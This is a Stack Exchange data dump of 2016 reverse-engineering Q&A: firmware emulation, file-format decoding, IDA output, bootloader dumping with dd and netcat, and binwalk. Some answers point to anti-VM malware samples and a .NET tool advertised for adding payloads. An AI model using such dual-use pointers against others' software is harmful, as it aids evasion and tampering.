  <row Id="13527" PostTypeId="2" ParentId="13498" CreationDate="2016-09-18T18:03:28.037" Score="0" Body="&lt;p&gt;It is unlikely you will find any tutorials, and  even if you found one to get started with something simple it may take a couple of years to learn the basics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, reverse-engineering the blobs is probably unnecessary; if the driver is in Sony's kernel tree, that's all you will need, just compile a new kernel and it will work, and if it's not, then you can try to extract the old kernel's driver and patch the kernel version in it so that it loads in the new kernel, that's likely to work in most camera drivers as the surface area for incompatibilities isn't that big (partly because they don't use Video4Linux).&lt;/p&gt;&#xA;" OwnerUserId="17453" LastActivityDate="2016-09-18T18:03:28.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13529" PostTypeId="2" ParentId="13520" CreationDate="2016-09-19T05:49:23.377" Score="5" Body="&lt;p&gt;You can debug and even step the execution with the following ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Emulating a code snippet&lt;/strong&gt;. You can find the detailed steps of code snippet emulation with QEMU in &lt;a href=&quot;http://www.hexblog.com/?p=111&quot; rel=&quot;noreferrer&quot;&gt;hexblog&lt;/a&gt;. In this approach you have to set the memory and register values to the correct ones, which can be challenging in some times.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Emulating the whole firmware&lt;/strong&gt;. There is a very good blog post about firmware emulation with QEMU in the &lt;a href=&quot;http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-3/&quot; rel=&quot;noreferrer&quot;&gt;devttsy0&lt;/a&gt; blog. Because you emulate the whole firmware in this case, you don't have to set any runtime values for debugging. However, you may have to emulate nvram and other hardware specific features.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-09-19T05:49:23.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13531" PostTypeId="1" CreationDate="2016-09-19T17:13:23.753" Score="1" ViewCount="1625" Body="&lt;p&gt;I'm learning malware analysis.&#xA;I'm looking for malware samples that terminate themselves when recognize working on a VM or sandbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17503" LastActivityDate="2017-05-03T21:58:46.420" Title="Anti-VM and anti-sandbox malware samples" Tags="|malware|virtual-machines|sandbox|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13532" PostTypeId="2" ParentId="13531" CreationDate="2016-09-20T06:54:46.667" Score="6" Body="&lt;p&gt;For learning purposes, I would recommend you the following Github projects to start with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Paranoid Fish by a0rtega&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/a0rtega/pafish&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/a0rtega/pafish&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Al-Khaser v0.60 by Noteworthy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/LordNoteworthy/al-khaser&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/LordNoteworthy/al-khaser&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Colection by AlicanAkyol&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/AlicanAkyol/sems&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/AlicanAkyol/sems&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grab one you like, compile and analyze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you look for in the wild samples, you should look at Andromeda\Gamarue bot. It have a plenty of anti tricks, including anti-VM, anti-Sandbox, anti-research etc.&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2016-09-20T06:54:46.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13533" PostTypeId="2" ParentId="13484" CreationDate="2016-09-20T08:46:35.447" Score="2" Body="&lt;p&gt;It is quite possible the master device requires keypad to answer within a specific time window. Adding a man-in-the-middle violates these conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To analyze data direction, you can try connecting a small value resistor (100 — 1k) in series in the line between the devices. Connect an oscilloscope to the line. Signal voltage level will be slightly different depending on which side is driving the line.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2016-09-20T08:46:35.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13534" PostTypeId="2" ParentId="13526" CreationDate="2016-09-20T14:23:22.167" Score="1" Body="&lt;p&gt;ok, I've found a solution please note that you need to couple your IDA with an appropriate version of &lt;em&gt;x86&lt;/em&gt; windbg... latest release of WinDbg wont work.&lt;/p&gt;&#xA;" OwnerUserId="17491" LastActivityDate="2016-09-20T14:23:22.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13535" PostTypeId="2" ParentId="13000" CreationDate="2016-09-20T15:16:18.463" Score="2" Body="&lt;p&gt;Regarding security.dll, it's the standard Windows DLL for SSPI functions. Regarding program X, given that it doesn't work when run under a debugger and doesn't contain human-readable strings, it strongly suggests that it's packed and that the unpacking stub and/or the original program contains anti-debugging code. This is fairly common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that the exception thrown by security.dll was a first-chance exception unrelated to anti-debugging and that there was code in security.dll to handle it. But if it was related to your program's anti-debugging code, then perhaps it was made to look like an exception in security.dll to act as a red-herring and slow down analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely it is packed and using several tools, specifically the &lt;code&gt;.exe&lt;/code&gt; file is packed with Armadillo v.8 or higher. Armadillo has a debug-blocker feature with a built-in security.dll file, not affiliated with the Windows security.dll file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armadillo use own security.dll (loaded from memory) and some anti-debugging. Some version create two processes - and second process debug first - on exceptions - unpacking chunk of code in first process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Answer based on the comments above.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="12021" LastActivityDate="2016-09-20T15:16:18.463" CommentCount="0" CommunityOwnedDate="2016-09-20T15:16:18.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="13536" PostTypeId="2" ParentId="13522" CreationDate="2016-09-20T15:25:42.443" Score="2" Body="&lt;p&gt;For Windows, I would suggest shareware aggregators, for example&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://download.cnet.com/windows/&quot; rel=&quot;nofollow&quot;&gt;http://download.cnet.com/windows/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tucows.com/windows&quot; rel=&quot;nofollow&quot;&gt;http://www.tucows.com/windows&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://padsites.org/&quot; rel=&quot;nofollow&quot;&gt;http://padsites.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and/or archive sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cd.textfiles.com/&quot; rel=&quot;nofollow&quot;&gt;http://cd.textfiles.com/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.oldversion.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.oldversion.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-09-20T15:25:42.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13538" PostTypeId="1" CreationDate="2016-09-20T23:31:53.757" Score="3" ViewCount="262" Body="&lt;p&gt;I have to decode a proprietary file format which mainly contains time series data. The only thing I was told was that the content is 'zipped', although I am not sure whether it is really zipped or some in-house compression method is used.&#xA;Here is a snippet of the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;789cecdd55d895d5bb057c26489774a7ac798f713feffbd2dd255d4a2b29&#xA;082220a1d24887020648194883747788a4840828024a4a238d347c13beef&#xA;60afb5f777fcac83e7372efedb8d27e3bae635e386d7b592c5cb9f375ebc&#xA;93f1e2c543bc4b09dac5eb302c7f3c5303a910835d32c2f6b579a41bc633&#xA;ab66d2945a4c47e95d36e52db44246647789178832c6b03792a0a574b2bb&#xA;b493d194a3f81b9fb3bf1ed734de70adcacdf2a5ac922228122c5f9431ed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did a [byte] frequency analysis and it shows a uniform distribution. If the bytes are plot (with A.X.E.), a very homogeneous image is shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sPdXx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sPdXx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked for the header of common compression algorithms but found none of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these file can be accessed on the following links: &lt;a href=&quot;http://www.pastefile.com/EgRnl4&quot; rel=&quot;nofollow noreferrer&quot;&gt;First file&lt;/a&gt;, &lt;a href=&quot;http://www.pastefile.com/acdor1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Second file&lt;/a&gt;, &lt;a href=&quot;http://www.pastefile.com/FzgDwj&quot; rel=&quot;nofollow noreferrer&quot;&gt;Third file&lt;/a&gt;, &lt;a href=&quot;http://www.pastefile.com/VljT7K&quot; rel=&quot;nofollow noreferrer&quot;&gt;Forth file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The executable which produced/validated these files is not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;binwalk -Me &amp;lt;filename&amp;gt;&lt;/code&gt; (github.com/devttys0/binwalk) it is possible to extract two zlib-ed files from each of the previous files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the header of one of the files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0a002f220000180100002800e80364001f783c0001a0349c3574367136db&#xA;3582348932bb30dd30a12f2b2f542ff02e432f432ff62edd2f772f6a2f2e&#xA;2fbc2edb2d382dcc2cfe2c272d492d342d1d2d352d352d00000000000000&#xA;000000000000000000000000000000000000000000000000000000000000&#xA;000000000000000000000000000000000000000000000000000000000000&#xA;000000000000000000000000000000000000000000000000000000000000&#xA;000000000000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17517" LastEditorUserId="2147" LastEditDate="2016-09-21T12:40:17.117" LastActivityDate="2016-09-24T00:27:52.220" Title="reverse engineering file containing time series data" Tags="|file-format|binary-diagnosis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13539" PostTypeId="1" CreationDate="2016-09-21T10:34:58.707" Score="1" ViewCount="308" Body="&lt;p&gt;Do I need to learn system programming (e.g. WinAPI and Linux API) to be really good in reverse engineering? Or should I treat it as a reference so that whenever I encounter a system call, I go learn about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be a reverse engineer as a part of my penetration testing &quot;hobby&quot; project and therefore I need advice about this issue.&lt;/p&gt;&#xA;" OwnerUserId="17520" LastActivityDate="2016-09-29T21:23:01.473" Title="System programming and reverse engineering" Tags="|operating-systems|system-call|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13540" PostTypeId="2" ParentId="6922" CreationDate="2016-09-21T10:43:44.793" Score="5" Body="&lt;p&gt;I would say &lt;a href=&quot;http://rada.re&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt;. It is opensource fast moving project, and it has analysis capibilites similar to that of ida, and supports many architectures like x86 and the 64bit version of x86 plus lots of other architectures you might never hear of. It has nice command line interface and everything is somehow documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes with bunch of tools for analysing binary files, patching, generating shellcodes from C, bindiffing, assemblers, and debugging all by default.&lt;/p&gt;&#xA;" OwnerUserId="8437" LastActivityDate="2016-09-21T10:43:44.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13541" PostTypeId="2" ParentId="13539" CreationDate="2016-09-21T10:57:27.783" Score="2" Body="&lt;p&gt;Generally a reverse engineer translates assembly code to a higher level language, for that reason it is quite a necessity to be familiar with that language (or at least a similar language), usually understanding the intrinsics of those languages and how common language constructs are translated to the lower level is very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding system level APIs is required when you try to understand a programs execution (such as network interfaces, file operations, UI, e.g. read(), recv(), etc) but is not required when you're reverse engineering a contained piece of code, i.e. it doesn't read files, send/receive packets. Multiprocessing/threading might complicate things for you if you're uneducated about those, to name one example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another topic you should be familiar with if you're interested in reverse engineering and didn't mention is knowing assembly languages for the architectures you'll be reverse engineering (PCs are usually Intel's x86 and AMD's x86_64). There are instruction set manuals for both, which cover the assembly languages in depth and provide both a reverence manual and introduction to general approaches and concepts (such as registers, the stack, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can obviously learn as you go, and that's a valid approach towards learning reverse engineering, for that you should really learn by examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could head over to &lt;a href=&quot;http://crackmes.de&quot; rel=&quot;nofollow&quot;&gt;crackmes.de&lt;/a&gt; or &lt;a href=&quot;http://www.tuts4you.com&quot; rel=&quot;nofollow&quot;&gt;http://www.tuts4you.com&lt;/a&gt; and start on the beginner reverse-engineering binaries and read as many write-ups (solutions) as you can!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good novice resource is &lt;a href=&quot;https://tuts4you.com/download.php?list.17&quot; rel=&quot;nofollow&quot;&gt;lena141's series of dynamic RE videos&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-22T15:58:53.697" LastActivityDate="2016-09-22T15:58:53.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13542" PostTypeId="1" AcceptedAnswerId="13543" CreationDate="2016-09-22T00:49:15.740" Score="1" ViewCount="228" Body="&lt;p&gt;recently I've been learning to do RE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a simple program in 10 seconds that I was going to mess around with in IDA.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    printf(&quot;Hello, world!\n&quot;);&#xA;&#xA;    int i = 0;&#xA;&#xA;    if (i == 0)&#xA;    {&#xA;        printf(&quot;i == 0\n&quot;);&#xA;    }&#xA;    else&#xA;    {&#xA;        printf(&quot;i &amp;gt; 0 OR i &amp;lt; 0\n&quot;);&#xA;    }&#xA;&#xA;    while (i == 0)&#xA;    {&#xA;        printf(&quot;I'm a while loop\n&quot;);&#xA;        _sleep(510);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see its the main function. But when I go into IDA and click on start its not that function (assuming start is the main function, correct?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, after clicking on a few functions in the function window I came across it. &#xA;Here it is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl __noreturn main(int argc, const char **argv, const char **envp)&#xA;    {&#xA;      char v3; // ST04_1@1&#xA;      char v4; // [sp+0h] [bp-4h]@0&#xA;      char v5; // [sp+0h] [bp-4h]@1&#xA;&#xA;      printf(&quot;Hello, world!\n&quot;, v4);&#xA;      printf(&quot;i == 0\n&quot;, v3);&#xA;      while ( 1 )&#xA;      {&#xA;        printf(&quot;I'm a while loop\n&quot;, v5);&#xA;        sleep(0x1FEu);&#xA;      }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already reversed most of it. (printf was originally sub_50505 or something like that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for some odd reason, its created unnecessary vars and I'm curious as to why it did that. It should've only created one, which is i.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, why is it while (1) { ... }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't it by while (i == 0) { ... }?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious about all these questions. Thanks! And sorry if they're silly. I'm new to RE! &lt;/p&gt;&#xA;" OwnerUserId="17525" LastActivityDate="2016-09-22T06:54:06.667" Title="Question about IDA 6.8, also why its creating unnecessary vars" Tags="|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13543" PostTypeId="2" ParentId="13542" CreationDate="2016-09-22T05:16:58.733" Score="2" Body="&lt;p&gt;Welcome to RE.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it created unnecessary vars and I'm curious as to why it did that&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem is with the printf function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, when IDA encounters a function call, it looks up the function signature to know how many parameters are passed at which locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the printf function, it is &lt;strong&gt;at least&lt;/strong&gt; one parameter. In order to know how many parameters are passed, one would need to evaluate the format string. However, IDA doesn't and rather employs some heuristic to determine which part of the stack 'belongs' to this function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the main function retrieves parameters &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(int argc, const char **argv, const char **envp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when invoked, IDA notices the stack contains something.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, why is it while (1) { ... }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most probably your compiler optimized the code because he noticed i is never assigned anything else but 0. It also removed the 'dead code' in the else-clause. If you use gcc, try turning off optimization (e.g. -O0)&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2016-09-22T06:54:06.667" LastActivityDate="2016-09-22T06:54:06.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13544" PostTypeId="2" ParentId="12906" CreationDate="2016-09-22T09:10:37.833" Score="-1" Body="&lt;p&gt;There is a nice tool to play with .NET assemblies (&lt;a href=&quot;https://www.digitalbodyguard.com/graywolf.html&quot; rel=&quot;nofollow&quot;&gt;https://www.digitalbodyguard.com/graywolf.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GrayWolf – Is a reverse engineering tool&#xA;(focused on .NET Framework Applications)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently - is in a late beta stage It is similar to IL-Spy but this has a focue on edit/attack.&#xA;GrayWolf was a tool I created to carry out research. The focus is on editing applications to make change quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can it do:&#xA;DE-ObfuScatE,&lt;strong&gt;Edit IL(Live)&lt;/strong&gt;, Add payloads, &lt;strong&gt;Edit attributes(public/privet)&lt;/strong&gt;, Copy strong names signing on EXE/DLL&lt;/p&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2016-09-22T09:10:37.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13545" PostTypeId="1" AcceptedAnswerId="13546" CreationDate="2016-09-22T11:21:25.687" Score="1" ViewCount="1173" Body="&lt;p&gt;I need get copy of original Bootloader from device running embedded Linux. Is it possible copy and save bootloader using CLI telnet commands? I have full access to CLI interface. Is there way copy Bootloader binary from memory and save it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=&amp;gt; printenv&#xA;...&#xA;update_uboot=tftpboot 0x80000100 u-boot.bin &amp;amp;&amp;amp; protect off 0x48000000 +${filesize} &amp;amp;&amp;amp; erase 0x48000000 +${filesize} &amp;amp;&amp;amp; sleep ${sdelay} &amp;amp;&amp;amp; cp.b ${fileaddr} 0x48000000 ${filesize} &amp;amp;&amp;amp; protect on 0x48000000 +${filesize}&#xA;...&#xA;&#xA;ubootpartsize=0x20000&#xA;&#xA;mtdinfo=0x20000(U-Boot)ro&#xA;mtdparts=spansion:0x20000(U-Boot)ro&#xA;&#xA;5 cmdlinepart partitions found on MTD device spansion&#xA;partitions[0] = {.name = U-Boot, .offset = 0x00000000,.size = 0x00020000 (128K) }&#xA;&#xA;0x00000000-0x00020000 : &quot;U-Boot&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: netcat is not present in Busybox on embedded device.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BusyBox v1.19.2 built-in shell (ash)&#xA;Enter 'help' for a list of built-in commands.&#xA;# help&#xA;Built-in commands:&#xA;------------------&#xA;        . : [ [[ bg break cd chdir continue echo eval exec exit export&#xA;        false fg getopts hash help jobs kill local printf pwd read readonly&#xA;        return set shift source test times trap true type ulimit umask&#xA;        unset wait&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17168" LastEditorUserId="17168" LastEditDate="2016-09-24T17:57:56.383" LastActivityDate="2021-03-24T14:29:47.723" Title="Is it possible copy and save bootloader using CLI telnet commands?" Tags="|binary-analysis|linux|memory|embedded|flash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13546" PostTypeId="2" ParentId="13545" CreationDate="2016-09-22T12:11:04.483" Score="4" Body="&lt;p&gt;The bootloader is in the flash, so you have to dump it first by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=/dev/mtd0 of=/tmp/mtd0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nandump -of /tmp/mtd0 /dev/mtd0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After it you have to copy to an SD card, USB device or send via netcat (&lt;code&gt;nc&lt;/code&gt;) to a socket. Of course you can do it in one step also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can send files via netcat with 2 easy steps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start netcat in your PC in listening mode to receive data and save&#xA;the data to a file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;nc -l -p 1337 &amp;gt;mtd0.bin&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start netcat in the embedded device to send the data to your PC &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;nc ip_address 1337 &amp;lt;/tmp/mtd0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12325" LastEditorUserId="12325" LastEditDate="2016-09-22T13:00:06.400" LastActivityDate="2016-09-22T13:00:06.400" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13547" PostTypeId="1" AcceptedAnswerId="13549" CreationDate="2016-09-22T12:48:07.413" Score="1" ViewCount="1569" Body="&lt;p&gt;I am starring at the following &lt;a href=&quot;http://incenter.medical.philips.com/doclib/getdoc.aspx?func=ll&amp;amp;objid=9792178&amp;amp;objaction=download&quot; rel=&quot;nofollow&quot;&gt;exe&lt;/a&gt; file, see main page &lt;a href=&quot;http://clinical.netforum.healthcare.philips.com/global/Explore/Clinical-News/MRI/Philips-DICOM-Viewer-download-version-R30-SP3&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It seems pretty clear (using -E entropy option) that the exe contains compressed section. For some reason &lt;code&gt;binwalk&lt;/code&gt; is not capable of finding the start of those sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -v -B PmsDView.exe &#xA;&#xA;Scan Time:     2016-09-22 14:42:04&#xA;Target File:   /tmp/PmsDView.exe&#xA;MD5 Checksum:  911d92675f559a40400f7ca2b69c8544&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Microsoft executable, portable (PE)&#xA;2015          0x7DF           Copyright string: &quot;Copyright 1995-2005 Mark Adler &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it seems like they are using &lt;code&gt;gzip&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C PmsDView.exe&#xA;000007a0  30 00 30 00 31 00 35 00  00 00 00 00 4c 64 72 47  |0.0.1.5.....LdrG|&#xA;000007b0  65 74 50 72 6f 63 65 64  75 72 65 41 64 64 72 65  |etProcedureAddre|&#xA;000007c0  73 73 00 00 6e 74 64 6c  6c 00 00 00 00 00 00 00  |ss..ntdll.......|&#xA;000007d0  20 69 6e 66 6c 61 74 65  20 31 2e 32 2e 33 20 43  | inflate 1.2.3 C|&#xA;000007e0  6f 70 79 72 69 67 68 74  20 31 39 39 35 2d 32 30  |opyright 1995-20|&#xA;000007f0  30 35 20 4d 61 72 6b 20  41 64 6c 65 72 20 00 00  |05 Mark Adler ..|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something ? Or did they mask the &lt;code&gt;gzip&lt;/code&gt; signature ?&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2016-09-22T13:46:07.303" Title="binwalk cannot find gzip sections" Tags="|binary-analysis|decompress|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13548" PostTypeId="2" ParentId="13547" CreationDate="2016-09-22T13:26:50.857" Score="1" Body="&lt;p&gt;Please refer to &lt;a href=&quot;https://en.wikibooks.org/wiki/Reverse_Engineering/File_Formats&quot; rel=&quot;nofollow&quot;&gt;https://en.wikibooks.org/wiki/Reverse_Engineering/File_Formats&lt;/a&gt; for the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;inflate 1.1.3 Copyright 1995-1998 Mark Adler &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is a good bet to assume that at least parts of the file are ZIP&#xA;  compressed. Further probing might reveal that the file does not&#xA;  contain a complete ZIP archive, but just a section which is compressed&#xA;  with the ZIP deflate algorithm, and supposed to be decompressed with&#xA;  the ZIP inflate algorithm (likely version 1.1.3, as the output of&#xA;  strings revealed). Therefore, the fictitious file might be further&#xA;  separated into its components by using a custom tool which iteratively&#xA;  applies the inflate algorithm to the file, until the generated result&#xA;  makes some sense (e.g. until the result contains some recognizable&#xA;  clear text strings).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems to be the very same case for new, except that your inflate's version is 1.2.3&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-09-22T13:26:50.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13549" PostTypeId="2" ParentId="13547" CreationDate="2016-09-22T13:46:07.303" Score="3" Body="&lt;p&gt;Binwalk did not find the zlib blob because it is also encrypted. It uses the following code to decrypt the compressed data. The decryption uses a table stored in the stack, which is filled with generated values before the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pqGcB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pqGcB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you have to reverse the decryption code or save the decompressed data from the memory.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-09-22T13:46:07.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
